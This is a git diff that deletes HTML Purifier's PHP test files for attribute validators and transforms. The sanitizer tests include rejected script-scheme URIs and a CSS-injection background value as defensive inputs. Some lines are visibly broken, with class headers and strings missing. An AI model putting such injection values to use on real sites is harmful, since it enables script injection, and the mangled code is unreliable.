$id_accumulator); - $this->config->set('Attr.EnableID', true); - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - } - - public function test() - { - // valid ID names - $this->assertDef('alpha'); - $this->assertDef('al_ha'); - $this->assertDef('a0-:.'); - $this->assertDef('a'); - - // invalid ID names - $this->assertDef('assertDef('0123', false); - $this->assertDef('.asa', false); - - // test duplicate detection - $this->assertDef('once'); - $this->assertDef('once', false); - - // valid once whitespace stripped, but needs to be amended - $this->assertDef(' whee ', 'whee'); - - } - - public function testPrefix() - { - $this->config->set('Attr.IDPrefix', 'user_'); - - $this->assertDef('alpha', 'user_alpha'); - $this->assertDef('assertDef('once', 'user_once'); - $this->assertDef('once', false); - - // if already prefixed, leave alone - $this->assertDef('user_alas'); - $this->assertDef('user_user_alas'); // how to bypass - - } - - public function testTwoPrefixes() - { - $this->config->set('Attr.IDPrefix', 'user_'); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - - $this->assertDef('alpha', 'user_story95_alpha'); - $this->assertDef('assertDef('once', 'user_story95_once'); - $this->assertDef('once', false); - - $this->assertDef('user_story95_alas'); - $this->assertDef('user_alas', 'user_story95_user_alas'); // ! - } - - public function testLocalPrefixWithoutMainPrefix() - { - // no effect when IDPrefix isn't set - $this->config->set('Attr.IDPrefix', ''); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set'); - $this->assertDef('amherst'); - - } - - // reference functionality is disabled for now - public function disabled_testIDReference() - { - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); - $this->assertDef('good_id'); // duplicates okay - $this->assertDef('', false); - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - $this->assertDef('good_id'); - $this->assertDef('good_id', false); // duplicate now not okay - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); // reference still okay - - } - - public function testRegexp() - { - $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); - - $this->assertDef('good_id'); - $this->assertDef('g_bad_id', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php deleted file mode 100644 index 91f3de7e5..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php +++ /dev/null @@ -1,33 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Length(); - } - - public function test() - { - // pixel check - parent::test(); - - // percent check - $this->assertDef('25%'); - - // Firefox maintains percent, so will we - $this->assertDef('0%'); - - // 0% <= percent <= 100% - $this->assertDef('-15%', '0%'); - $this->assertDef('120%', '100%'); - - // fractional percents, apparently, aren't allowed - $this->assertDef('56.5%', '56%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php deleted file mode 100644 index ad30aa782..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); - $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); - - $this->assertDef('', false); - $this->assertDef('nofollow', true); - $this->assertDef('nofollow foo', true); - $this->assertDef('nofollow bar', 'nofollow'); - $this->assertDef('bar', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php deleted file mode 100644 index d1b3f13f3..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_MultiLength(); - } - - public function test() - { - // length check - parent::test(); - - $this->assertDef('*'); - $this->assertDef('1*', '*'); - $this->assertDef('56*'); - - $this->assertDef('**', false); // plain old bad - - $this->assertDef('5.4*', '5*'); // no decimals - $this->assertDef('-3*', false); // no negatives - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php deleted file mode 100644 index d466146e4..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php +++ /dev/null @@ -1,36 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - } - - public function testDefault() - { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0invalid', false); - $this->assertDef('-0', false); - - // test conditional replacement - $this->assertDef('validassoc 0invalid', 'validassoc'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php deleted file mode 100644 index c7f36772d..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php +++ /dev/null @@ -1,47 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - public function test() - { - $this->assertDef('1'); - $this->assertDef('0'); - - $this->assertDef('2px', '2'); // rm px suffix - - $this->assertDef('dfs', false); // totally invalid value - - // conceivably we could repair this value, but we won't for now - $this->assertDef('9in', false); - - // test trim - $this->assertDef(' 45 ', '45'); - - // no negatives - $this->assertDef('-2', '0'); - - // remove empty - $this->assertDef('', false); - - // round down - $this->assertDef('4.9', '4'); - - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->def = $factory->make('30'); - $this->assertDef('25'); - $this->assertDef('35', '30'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php deleted file mode 100644 index 2061a3660..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php +++ /dev/null @@ -1,62 +0,0 @@ -def = new HTMLPurifier_AttrDef_Integer(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('-1'); - $this->assertDef('-10'); - $this->assertDef('14'); - $this->assertDef('+24', '24'); - $this->assertDef(' 14 ', '14'); - $this->assertDef('-0', '0'); - - $this->assertDef('-1.4', false); - $this->assertDef('3.4', false); - $this->assertDef('asdf', false); // must not return zero - $this->assertDef('2in', false); // must not return zero - - } - - public function assertRange($negative, $zero, $positive) - { - $this->assertDef('-100', $negative); - $this->assertDef('-1', $negative); - $this->assertDef('0', $zero); - $this->assertDef('1', $positive); - $this->assertDef('42', $positive); - } - - public function testRange() - { - $this->def = new HTMLPurifier_AttrDef_Integer(false); - $this->assertRange(false, true, true); // non-negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false); - $this->assertRange(false, false, true); // positive - - - // fringe cases - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); - $this->assertRange(false, false, false); // allow none - - $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); - $this->assertRange(true, false, false); // negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); - $this->assertRange(false, true, false); // zero - - $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); - $this->assertRange(true, true, false); // non-positive - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php deleted file mode 100644 index 06b9e6b87..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php +++ /dev/null @@ -1,85 +0,0 @@ -def = new HTMLPurifier_AttrDef_Lang(); - - // basic good uses - $this->assertDef('en'); - $this->assertDef('en-us'); - - $this->assertDef(' en ', 'en'); // trim - $this->assertDef('EN', 'en'); // case insensitivity - - // (thanks Eugen Pankratz for noticing the typos!) - $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci - - $this->assertDef('fr en', false); // multiple languages - $this->assertDef('%', false); // bad character - - // test overlong language according to syntax - $this->assertDef('thisistoolongsoitgetscut', false); - - // primary subtag rules - // I'm somewhat hesitant to allow x and i as primary language codes, - // because they usually are never used in real life. However, - // theoretically speaking, having them alone is permissable, so - // I'll be lenient. No XML parser is going to complain anyway. - $this->assertDef('x'); - $this->assertDef('i'); - // real world use-cases - $this->assertDef('x-klingon'); - $this->assertDef('i-mingo'); - // because the RFC only defines two and three letter primary codes, - // anything with a length of four or greater is invalid, despite - // the syntax stipulation of 1 to 8 characters. Because the RFC - // specifically states that this reservation is in order to allow - // for future versions to expand, the adoption of a new RFC will - // require these test cases to be rewritten, even if backwards- - // compatibility is largely retained (i.e. this is not forwards - // compatible) - $this->assertDef('four', false); - // for similar reasons, disallow any other one character language - $this->assertDef('f', false); - - // second subtag rules - // one letter subtags prohibited until revision. This is, however, - // less volatile than the restrictions on the primary subtags. - // Also note that this test-case tests fix-behavior: chop - // off subtags until you get a valid language code. - $this->assertDef('en-a', 'en'); - // however, x is a reserved single-letter subtag that is allowed - $this->assertDef('en-x', 'en-x'); - // 2-8 chars are permitted, but have special meaning that cannot - // be checked without maintaining country code lookup tables (for - // two characters) or special registration tables (for all above). - $this->assertDef('en-uk', true); - - // further subtag rules: only syntactic constraints - $this->assertDef('en-us-edison'); - $this->assertDef('en-us-toolonghaha', 'en-us'); - $this->assertDef('en-us-a-silly-long-one'); - - // rfc 3066 stipulates that if a three letter and a two letter code - // are available, the two letter one MUST be used. Without a language - // code lookup table, we cannot implement this functionality. - - // although the HTML protocol, technically speaking, allows you to - // omit language tags, this implicitly means that the parent element's - // language is the one applicable, which, in some cases, is incorrect. - // Thus, we allow und, only slightly defying the RFC's SHOULD NOT - // designation. - $this->assertDef('und'); - - // because attributes only allow one language, mul is allowed, complying - // with the RFC's SHOULD NOT designation. - $this->assertDef('mul'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php deleted file mode 100644 index 4faed99c6..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php +++ /dev/null @@ -1,37 +0,0 @@ -with = new HTMLPurifier_AttrDefMock(); - $this->without = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); - } - - public function testWith() - { - $token = new HTMLPurifier_Token_Start('tag'); - $this->context->register('CurrentToken', $token); - $this->with->expectOnce('validate'); - $this->with->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - - public function testWithout() - { - $token = new HTMLPurifier_Token_Start('other-tag'); - $this->context->register('CurrentToken', $token); - $this->without->expectOnce('validate'); - $this->without->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php deleted file mode 100644 index de1ae554d..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php +++ /dev/null @@ -1,17 +0,0 @@ -def = new HTMLPurifier_AttrDef_Text(); - - $this->assertDef('This is spiffy text!'); - $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php deleted file mode 100644 index 919b7691a..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php +++ /dev/null @@ -1,14 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php deleted file mode 100644 index 35c3f207f..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php +++ /dev/null @@ -1,32 +0,0 @@ -assertDef('bob@example.com'); - $this->assertDef(' bob@example.com ', 'bob@example.com'); - $this->assertDef('bob.thebuilder@example.net'); - $this->assertDef('Bob_the_Builder-the-2nd@example.org'); - $this->assertDef('Bob%20the%20Builder@white-space.test'); - - // extended format, with real name - //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); - //$this->assertDef('Bob Builder '); - - // time to fail - $this->assertDef('bob', false); - $this->assertDef('bob@home@work', false); - $this->assertDef('@example.com', false); - $this->assertDef('bob@', false); - $this->assertDef('', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php deleted file mode 100644 index 00e56ed4c..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php +++ /dev/null @@ -1,61 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Host(); - - $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 - $this->assertDef('124.15.6.89'); // IPv4 - $this->assertDef('www.google.com'); // reg-name - - // more domain name tests - $this->assertDef('test.'); - $this->assertDef('sub.test.'); - $this->assertDef('.test', false); - $this->assertDef('ff'); - $this->assertDef('1f', false); - $this->assertDef('-f', false); - $this->assertDef('f1'); - $this->assertDef('f-', false); - $this->assertDef('sub.ff'); - $this->assertDef('sub.1f', false); - $this->assertDef('sub.-f', false); - $this->assertDef('sub.f1'); - $this->assertDef('sub.f-', false); - $this->assertDef('ff.top'); - $this->assertDef('1f.top'); - $this->assertDef('-f.top', false); - $this->assertDef('ff.top'); - $this->assertDef('f1.top'); - $this->assertDef('f1_f2.ex.top', false); - $this->assertDef('f-.top', false); - - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", false); - - } - - public function testIDNA() - { - if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2']) { - return false; - } - $this->config->set('Core.EnableIDNA', true); - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); - $this->assertDef("\xe2\x80\x85.com", false); // rejected - } - - function testAllowUnderscore() { - $this->config->set('Core.AllowHostnameUnderscore', true); - $this->assertDef("foo_bar.example.com"); - $this->assertDef("foo_.example.com", false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php deleted file mode 100644 index 4cb5128ba..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php +++ /dev/null @@ -1,25 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv4(); - - $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable - $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable - $this->assertDef('255.255.255.255'); // standard IPv4 - - $this->assertDef('300.0.0.0', false); // standard IPv4, out of range - $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed - - $this->assertDef('', false); // nothing - - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php deleted file mode 100644 index f46785c1a..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php +++ /dev/null @@ -1,43 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv6(); - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full - $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full - $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full - $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full - $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed - $this->assertDef('FF01::101'); // multicast, compressed - - $this->assertDef('::1'); // loopback, compressed, non-routable - $this->assertDef('::'); // unspecified, compressed, non-routable - $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated - $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full - $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated - $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed - $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix - $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix - $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 - $this->assertDef('::/128'); // compressed, unspecified address type, non-routable - $this->assertDef('::1/128'); // compressed, loopback address type, non-routable - $this->assertDef('FF00::/8'); // compressed, multicast address type - $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable - $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full - $this->assertDef('FF01::101::2', false); //multicast, compressed - $this->assertDef('', false); // nothing - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php deleted file mode 100644 index a5ae9c56b..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php +++ /dev/null @@ -1,161 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI(); - parent::setUp(); - } - - public function testIntegration() - { - $this->assertDef('http://www.google.com/'); - $this->assertDef('http:', ''); - $this->assertDef('http:/foo', '/foo'); - $this->assertDef('javascript:bad_stuff();', false); - $this->assertDef('ftp://www.example.com/'); - $this->assertDef('news:rec.alt'); - $this->assertDef('nntp://news.example.com/324234'); - $this->assertDef('mailto:bob@example.com'); - } - - public function testIntegrationWithPercentEncoder() - { - $this->assertDef( - 'http://www.example.com/%56%fc%GJ%5%FC', - 'http://www.example.com/V%FC%25GJ%255%FC' - ); - } - - public function testPercentEncoding() - { - $this->assertDef( - 'http:colon:mercenary', - 'colon%3Amercenary' - ); - } - - public function testPercentEncodingPreserve() - { - $this->assertDef( - 'http://www.example.com/abcABC123-_.!~*()\'' - ); - } - - public function testEmbeds() - { - $this->def = new HTMLPurifier_AttrDef_URI(true); - $this->assertDef('http://sub.example.com/alas?foo=asd'); - $this->assertDef('mailto:foo@example.com', false); - } - - public function testConfigMunge() - { - $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); - $this->assertDef( - 'http://www.example.com/', - 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' - ); - $this->assertDef('index.html'); - $this->assertDef('javascript:foobar();', false); - } - - public function testDefaultSchemeRemovedInBlank() - { - $this->assertDef('http:', ''); - } - - public function testDefaultSchemeRemovedInRelativeURI() - { - $this->assertDef('http:/foo/bar', '/foo/bar'); - } - - public function testDefaultSchemeNotRemovedInAbsoluteURI() - { - $this->assertDef('http://example.com/foo/bar'); - } - - public function testAltSchemeNotRemoved() - { - $this->assertDef('mailto:this-looks-like-a-path@example.com'); - } - - public function testResolveNullSchemeAmbiguity() - { - $this->assertDef('///foo', '/foo'); - } - - public function testResolveNullSchemeDoubleAmbiguity() - { - $this->config->set('URI.Host', 'example.com'); - $this->assertDef('////foo', '//example.com//foo'); - } - - public function testURIDefinitionValidation() - { - $parser = new HTMLPurifier_URIParser(); - $uri = $parser->parse('http://example.com'); - $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); - - generate_mock_once('HTMLPurifier_URIDefinition'); - $uri_def = new HTMLPurifier_URIDefinitionMock(); - $uri_def->expectOnce('filter', array($uri, '*', '*')); - $uri_def->setReturnValue('filter', true, array($uri, '*', '*')); - $uri_def->expectOnce('postFilter', array($uri, '*', '*')); - $uri_def->setReturnValue('postFilter', true, array($uri, '*', '*')); - $uri_def->setup = true; - - // Since definitions are no longer passed by reference, we need - // to muck around with the cache to insert our mock. This is - // technically a little bad, since the cache shouldn't change - // behavior, but I don't feel too good about letting users - // overload entire definitions. - generate_mock_once('HTMLPurifier_DefinitionCache'); - $cache_mock = new HTMLPurifier_DefinitionCacheMock(); - $cache_mock->setReturnValue('get', $uri_def); - - generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); - $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); - $old = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); - $factory_mock->setReturnValue('create', $cache_mock); - - $this->assertDef('http://example.com'); - - HTMLPurifier_DefinitionCacheFactory::instance($old); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_URI(); - $def = $factory->make(''); - $def2 = new HTMLPurifier_AttrDef_URI(); - $this->assertIdentical($def, $def2); - - $def = $factory->make('embedded'); - $def2 = new HTMLPurifier_AttrDef_URI(true); - $this->assertIdentical($def, $def2); - } - - /* - public function test_validate_configWhitelist() - { - $this->config->set('URI.HostPolicy', 'DenyAll'); - $this->config->set('URI.HostWhitelist', array(null, 'google.com')); - - $this->assertDef('http://example.com/fo/google.com', false); - $this->assertDef('server.txt'); - $this->assertDef('ftp://www.google.com/?t=a'); - $this->assertDef('http://google.com.tricky.spamsite.net', false); - - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php deleted file mode 100644 index e2029c048..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php +++ /dev/null @@ -1,29 +0,0 @@ -config = HTMLPurifier_Config::createDefault(); - $this->context = new HTMLPurifier_Context(); - } - - // cannot be used for accumulator - public function assertDef($string, $expect = true) - { - // $expect can be a string or bool - $result = $this->def->validate($string, $this->config, $this->context); - if ($expect === true) { - $this->assertIdentical($string, $result); - } else { - $this->assertIdentical($expect, $result); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php deleted file mode 100644 index ed4f2492a..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php +++ /dev/null @@ -1,32 +0,0 @@ -assertIdentical('', $def->parseCDATA('')); - $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); - $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); - $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); - - } - - public function test_make() - { - $def = new HTMLPurifier_AttrDefTestable(); - $def2 = $def->make(''); - $this->assertIdentical($def, $def2); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php deleted file mode 100644 index bc397fcd0..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Background(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('background' => 'logo.png'), - array('style' => 'background-image:url(logo.png);') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('background' => 'logo.png', 'style' => 'font-weight:bold'), - array('style' => 'background-image:url(logo.png);font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - // notice that we rely on the CSS validator later to fix this invalid - // stuff - $this->assertResult( - array('background' => 'logo.png);foo:('), - array('style' => 'background-image:url(logo.png);foo:();') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php deleted file mode 100644 index f3fdd2f1e..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php +++ /dev/null @@ -1,34 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BdoDir(); - } - - public function testAddDefaultDir() - { - $this->assertResult( array(), array('dir' => 'ltr') ); - } - - public function testPreserveExistingDir() - { - $this->assertResult( array('dir' => 'rtl') ); - } - - public function testAlternateDefault() - { - $this->config->set('Attr.DefaultTextDir', 'rtl'); - $this->assertResult( - array(), - array('dir' => 'rtl') - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php deleted file mode 100644 index 6c2b358a2..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php +++ /dev/null @@ -1,49 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BgColor(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('bgcolor' => '#000000'), - array('style' => 'background-color:#000000;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), - array('style' => 'background-color:#000000;font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - // this may change when we natively support the datatype and - // validate its contents before forwarding it on - $this->assertResult( - array('bgcolor' => '#F00'), - array('style' => 'background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php deleted file mode 100644 index a9830bbe2..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php +++ /dev/null @@ -1,43 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('foo' => 'foo'), - array('style' => 'bar:3in;') - ); - } - - public function testIgnoreValueOfBooleanAttribute() - { - $this->assertResult( - array('foo' => 'no'), - array('style' => 'bar:3in;') - ); - } - - public function testPrependCSS() - { - $this->assertResult( - array('foo' => 'foo', 'style' => 'background-color:#F00;'), - array('style' => 'bar:3in;background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php deleted file mode 100644 index d59674d58..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php +++ /dev/null @@ -1,43 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Border(); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testBasicTransform() - { - $this->assertResult( - array('border' => '1'), - array('style' => 'border:1px solid;') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - $this->assertResult( - array('border' => '10%'), - array('style' => 'border:10%px solid;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('border' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'border:23px solid;font-weight:bold;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php deleted file mode 100644 index e895e129e..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php +++ /dev/null @@ -1,82 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'text-align:left;', - 'right' => 'text-align:right;' - )); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testPreserveArraysWithoutInterestingAttributes() - { - $this->assertResult( array('style' => 'font-weight:bold;') ); - } - - public function testConvertAlignLeft() - { - $this->assertResult( - array('align' => 'left'), - array('style' => 'text-align:left;') - ); - } - - public function testConvertAlignRight() - { - $this->assertResult( - array('align' => 'right'), - array('style' => 'text-align:right;') - ); - } - - public function testRemoveInvalidAlign() - { - $this->assertResult( - array('align' => 'invalid'), - array() - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('align' => 'left', 'style' => 'font-weight:bold;'), - array('style' => 'text-align:left;font-weight:bold;') - ); - - } - - public function testCaseInsensitive() - 